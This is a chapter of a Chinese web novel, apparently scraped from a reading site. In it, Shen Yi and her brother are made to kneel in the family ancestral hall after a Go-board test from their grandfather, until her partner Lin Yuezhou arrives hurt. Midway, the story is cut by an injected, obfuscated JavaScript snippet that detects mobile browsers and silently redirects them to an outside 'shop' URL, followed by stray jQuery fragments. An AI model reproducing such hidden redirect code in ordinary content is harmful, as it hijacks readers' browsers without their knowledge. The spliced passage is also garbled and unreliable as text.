25.方寸之间

作品:《池中物[极致拉扯]

    返沪的机票订在第二天一早。


    老爷子明面上未置一词,私下还是动了怒的。


    这事儿说到底不过就是沈、林两家私事,闹大完全不值当,两家本就是利益共同,现下还有姻亲关系,牵一发而动全身。


    沈季序这次越过林家直接扣人,即便是师出有名,那也是坏了规矩,打人家的脸。


    更何况,林老爷子还在医院,那群想要争权分家的那些宵小恨不得把水搅浑,事越大,他们的胜算也就越足。


    圈里不少人也都冷眼旁观,等着捡漏。


    大树底下不长草,林家这棵扎根燕京多年的参天古木,但凡有半分松动,那落下来的枝叶,也够他们分食的了。


    医院那边的情况并不乐观,林越洲走不开。


    沈意刚踏进宅子就察觉到气氛紧张,老太太安坐佛堂诵经,连面都没露。


    “小姐,老太爷在书房等您。”


    沈意做足了心理建设,调整好呼吸,轻敲三下房门,规规矩矩的喊了一声,“爷爷。”


    隔了一会儿,才传来一声沉缓的传唤,“进来。”


    推门而入,沈老爷子一身藏青中山装,闻声并未抬头,手执黑子,正全神贯注于面前的一盘残局。


    粗粝的手指捻着指尖的冷暖玉棋子,镜片的反光一挡,遮去了眼底大半情绪。


    没有任何动作和语言,周身不怒自威的气场就足以令人胆寒,周遭静得只剩下自己的剧烈的心跳声。


    沈意每一步都走得很平稳,走到近前处,视线瞥到太师椅旁的拐杖时猛地顿住。


    奇楠沉香的老料子,暗纹细腻油润,雕花镂空以榫卯古法嵌入夜明珠,杖首是黑金虎头的样式。


    威仪凛然,望之生惧。


    出于本能的,沈意挪了两步,不动声色地和拐杖保持了点安全距离。


    她心里实在犯怵。


    沈老爷子没出声,沈意也就规规矩矩的立在一旁,垂眸看向棋盘的黑白错落,打量了下,微不可查地轻挑了下眉。


    这棋摆的,似乎意有所指。


    她虽然不精于此道,但自小跟在老人家身边将养着,多少能看出点门道。


    善弈者谋势,不善弈者谋子。


    老一辈的生杀予夺从来都只在这方寸之间,落得是棋,斗的是权术谋算和心机手段。


    沈季序被接回沈家前曾在九峰寺陪老爷子下过一盘棋。


    当时沈意也在场,她看不透二人路数,只记得最后是盘和棋。


    三劫循环的棋面。


    这在对弈之中相当罕见。


    黑子有劫可提,白子亦有劫可应。


    双方利益相互制衡,眼光深远宏阔,张弛有度,既有雷霆手腕,又给予一线生机,避免了困兽险境。


    不谋万世者,不足谋一时,不谋全局者,不足谋一域。


    沈季序天生就该是执掌棋局的人。


    经此一局,沈老爷子半退。


    沈季序彻底接手沈家,在地方任职磨练五年后,走了沈老爷子的旧路。


    可他的野心远不止于此,短短几年就获得推荐,重新调回沪上,其中少不了老爷子和父亲保驾护航,但沈季序本人却也坐稳了那个位置。


    可那是她哥...


    沈意就完全不是这块材料,虽集万千宠爱于一身,却唯独被彻底摒在权力中心之外。


    她主体性太强了。


    老爷子没少在她身上下功夫,可几十年潜移默化的影响也未曾撼动过她半分。


    权位、荣辱和利益,对她来说,不值一提。


    “坐吧。”


    沈意走神的间隙,老爷子落了两子,捧着手边的瑞鹤粉彩茶碗,轻抿一口,“你来接手。”


    “是。”


    沈意应声,恭顺落坐于对位,执白子。


    指尖探入棋笥,捻了一枚棋子踯躅着,大致扫了一眼当前盘面局势,又联想起这两日燕京的风波,瞬间了然。


    下意识抬眸确认时,直直撞进了那双锐利的,审视的鹰眼之中。


    沈意只思量了片刻便收回视线,气定神闲。


    信手落下一子,勾了勾唇,语气放得很柔,却很坚定,“爷爷。”


    “嗯。”沈老爷子没什么情绪的应了一声,浑厚的嗓音平静又沉冷,无波无澜。


    目光始终落在沈意下的那一处断点上,不容置喙的寒意漫了上来。


    “你哥在祠堂跪着,你也一样,等人来了再起。”


    这事儿虽不是因她而起,但这顿罚免不了,虽然心有不满,但这会儿也不敢多说。


    老爷子其实不在乎沈意怎么落子,只不过是想试探她的态度,也是重新给她一次选择的机会。


    沈意自幼丧母这事在他心里,如鲠在喉,始终觉得亏欠了她。


    -


    葱郁枝叶斜掩假山林木,穿游廊,过亭台,就能看到活水引入的人工湖,水清石碧,锦鲤翻跃,碎开满湖涟漪。


    走过拱桥,便是东跨院的祠堂。


    深阔静穆的院落,廊顶高梁悬着仿古彩绘宫灯,烛火明灭间映得满堂牌位愈显森严,两侧檀木供桌摞着老太太抄的经文,香烛青烟袅袅绕上高悬的烫金匾额。


    管家候在桥下,见沈意来,机械性地弯唇一笑,伸手拦在她身前,“小姐,老太爷特意嘱咐,通讯设备不能带入祠堂。”


    这规矩就是给她一个人立的。


    小时候犯了事被罚跪祠堂。


    她倒好,带着手机和游戏机进去,结果玩累了就蜷在蒲团软垫上舒舒服服地睡着了,最后生生挨了一下,至今她都忘不了那根该死的拐杖。


    交了手机,沈意径直往里走。


    牌位前的沈季序应该已经跪了许久,但身形依旧笔直挺拔,不动如松。


    听到靠近的脚步声也没回头,只是微抬了双膝,把蒲团上的软垫抽了出来,叠放在身旁的垫子上。


    “哥。”


    沈意熟门熟路,跨进祠堂扑通一声就跪了下去,软垫的余温还未散尽,好声好气地跟他道歉。


    “对不住啊,连累你了。”


    兄妹俩并肩跪着聊天的画面,堪称诡异。


    因为身世的关系,沈季序向来行事低调谨慎,心思缜密从不外显,落的每一子都藏着算计,从不敢行差踏错。


    跟沈意的乖张恣意截然不同。


    她算是祠堂的常客,沪上出了名的混世魔丸,所以这一遭,是她抹黑了沈季序在老爷子心里的完美继承人形象。


    沈季序很短促地笑了声,偏头看她可怜兮兮装乖的模样,好整以暇地开口,“老爷子说什么了?”


    “试我呢。”


    沈意回头见管家依然背对着祠堂立于桥下,立马松了劲儿,矮身坐在鞋后跟处,漫不经心地答。


    “他那盘棋就是给我下的。”


    黑子困于包围之间,若要救,则丧失一招制胜吃干抹净的先机,但要想赢,那黑子就有釜底抽薪摁死她的可能。


    林越洲就是那枚被困于包围的黑子。


    而白子,落在了生位上。


    沈季序微眯了下眼,倒不觉得意外,只是好奇,“就这么信他?”


    “林家不会垮。”


    沈意弯了下唇,温温杏眼笑意凉薄,“爷爷的手伸不过去,也吃不下来,所以我走生位,对我们两边都好。”


    她不懂政商盘根错节的内涵关窍,也懒得算走一看十的步步为营。


    看得明白人心就够了。


    沈季序和林越洲都太精了。


    林家那些上不得台面的内斗,本就撼不动林越洲分毫,不过是高层与宗亲联手夺权,雷厉风行反倒惹人非议。


    他把战线拉长,火就烧到了沈意身上。


    借外人眼里的孑然无援逼出暗流里的蠢蠢欲动,他正好借此机会肃清叛徒,把公司内部重新洗牌,稳攥权柄,掌控全局。


    而沈季序,看似是为了沈意与林越洲撕破脸,实际上他这把干柴,恰好让那些不安分的势力彻底烧起来。


    老爷子宦海浸淫多年,又怎会看不出来他给沈家留的两条路。


    如果林越洲拿下这局,那两家统一阵线绑定更深,若他失守,沈季序便可顺势入局,分食林家。


    无论正反,沈季序都有路可走,有利可图。


    沈意耸了耸肩,她才是真正的两难,两边都能理解,或许是看得多了,她早就习惯到麻木了。


    “对了哥。”她按了按自己已经开始麻木的膝盖,“爷爷说等人来了才能起,要等谁?”


    沈季序连头都没回,撂了三个字,“林越洲。”


    “什么!”


    闻言,沈意一下跌坐在地,一双杏眼瞪得浑圆,惊呼出声,“他还在燕京啊,等他来,那我们要跪到什么时候!”


    她心都凉了半截,欲哭无泪。


    昨天在地下擂台温存到一半,林越洲就被医院一个电话叫走了,连跟她多说一句话的时间都没有。


    她原本想陪着去,结果就被家里勒令返沪。


    下意识摸口袋想找手机让林越洲来救她,才想起来,手机已经被管家收走了。


    “哥……”


    沈意瘫在原地,假惺惺咳了两声,泪眼婆娑扯住沈季序的袖口,出馊主意。


    “我装晕行不行?我一晕,你就扛我出去,说我快不行了,咱们俩都能脱身。”


    沈季序偏头冷眼看她,也没甩开,只淡定地浇了盆冷水下来,“家里的医疗队没撤走。”


    “……”


    透心凉。


    二老年纪大,家里配备了一支专业医疗团队,空运了不少相关医疗器械,二十四小时待命。


    装晕在他们面前,跟找死没区别。


    -


    夕阳垂落,余晖熔金。


    暮色烧透沪上天际线时,高楼霓虹次第亮起,夜幕笼下,华灯初上,重新点燃了这座城市的繁华璀璨。


    四个小时过去,祠堂里佣人添了三轮香。


    沈意保持不住身形,也控制不住表情。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208674|196304||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    歪七扭八地倚在香案上,倒吸着凉气,每动一下,膝盖就一阵钻心刺骨,疼得她冷汗直冒。


    她试图分散注意力。


    可刚开口,声音就抖得不成样子,一句话支离破碎的,还没说完就被疼得收声。


    尤其是看到沈季序岿然不动,身姿依然挺拔时,心理防线直接崩塌,“哥,你不疼吗?”


    他甚至还把自己的软垫给了沈意。


    沈季序没搭腔,皱着眉偏头睨她一眼,瞧不出是个什么情绪,只是贴着裤缝的手紧握成拳,青筋暴起。


    他不是不会疼,只是能忍。


    脚步声自身后传来时,已经是半个小时之后的事了。


    沈意以为是老爷子来训话放人,强行掰正了身形,膝盖一磨,疼得她眼泪都涌出来了,浑身都在抖,又不敢哭,只能咬牙忍着。


    脚步声忽然变得急促。


    “别跪了,起来。”


    熟悉的声音冷不丁在身侧响起,沈意一愣,还没来得及回头,肩头就被扣住,继而直接被人提起。


    跪得太久,她腿都是软的,根本站不住。


    整个人形如无骨,跟水似的瘫倒在林越洲怀里,眼泪瞬间夺眶而出。


    是疼的,也心里委屈。


    她听到了很轻又很心疼的一声啧。


    林越洲抬手拭去了她眼下的泪花,把人单手扶在怀里,又朝沈季序伸手,把他也带了起来。


    他还没沈意这么柔弱,只是稍微有点麻。


    “解决了?”沈季序侧头,看向他颈侧血痕,很新鲜的口子。


    伤得不深,就是血染白色衬衫,瞧着唬人。


    应该就是来祠堂前留下的。


    林越洲察觉到他的目光,但并不上心,语气也冷,“嗯,该送进去的,该出局的都按死了。”


    沈意疼得直哆嗦,偏他俩非得在这个时候复盘,说的应该是他那不长眼的小叔和那几个不安分的手足。


    “老爷子那边情况怎么样?”


    “也不是什么大病,挪回老宅休养了。”


    本就是小毛病,但林老爷子有意借此机会再磨一下林越洲心性。


    他这两年花了太多时间在沈意身上,反倒是对自家事务态度平平,就有了这么一出夺权大戏。


    本质上和沈老爷子的棋局没什么区别。


    只是林越洲和沈意都给出了自己的答案。


    沈意二者皆守,林越洲两者都要。


    从本质上来说,他们该是天造地设的一对。


    “我说,你俩非得在这个时候站着聊天吗?”


    沈意攥着林越洲的手,站都站不住,气若游丝,没好气地埋怨,“就不能找个地方坐下来聊吗?”


    她都快疼疯了。


    最后,她是被林越洲抱出沈家老宅的。


    沈季序没走,他被老爷子又叫去书房,但具体是为了什么,沈意没问。


    顾不上,也救不了。


    只能在分别时,为他祈祷了一下。


    本来是想回檀宫的,但沈意在车上疼得直掉眼泪,掀起裤腿一看,膝盖红了一片。


    她在软垫上不安分,还磨破了皮,落在她白皙细嫩的肌肤上,显得格外触目惊心,只能就近回了九间堂那边的别墅。


    “你再晚来一步,我下半辈子就要坐轮椅了!”


    林越洲刚把沈意放在床上,肩头就挨了她一拳,拿他出气。


    其实没用多大力,也就是软绵绵的一下,跟娇嗔似的,但林越洲却浑身一僵,倒吸了口凉气。


    隐隐约约的,她好像还听到了后槽牙的轻磨。


    不是吧?


    沈意反手撑着上半身爬起,刚要吐槽他戏精也不挑时候,就瞥见他紧抿的唇瓣和鬓角的薄汗。


    什么情况?


    他刚要起身避开视线,沈意就察觉出不对来了,拽着他的臂弯把他往身前拉了一下,娇软的语调瞬间冷了下来。


    “怎么回事?”


    他肩上,颈侧,染了一片血迹。


    她把人拽到床上,伸手就要去解他的外套,可刚一动,手腕就被林越洲很轻地握住。


    他忽地一下笑了,眼底并不清明的谑意,分明是想转移她的关注点,“坐轮椅也挺好,你就能一直待在我身边,跑不了了。”


    好卑劣,好阴暗,好变态的想法。


    要换做是平时,沈意会骂他一句然后想着逃离现场,但现在,沈意却无心计较。


    “外套脱了。”


    “这点小伤,不碍事。”


    林越洲声音压得低,混着一丝不易察觉的哑。


    沈意心头一紧,发软的膝盖都失去痛觉。


    他伤在肩上,可从老宅祠堂开始,他始终把沈意抱在怀里,偏她还不知情,手臂始终压在他的伤口上。


    泪水从眼下无声滚落,砸在手臂上,生疼。


    林越洲被她哭的心软,又见不得她委屈的表情,缴械投降般地牵着她的手一颗扣子一颗扣子地解开外套。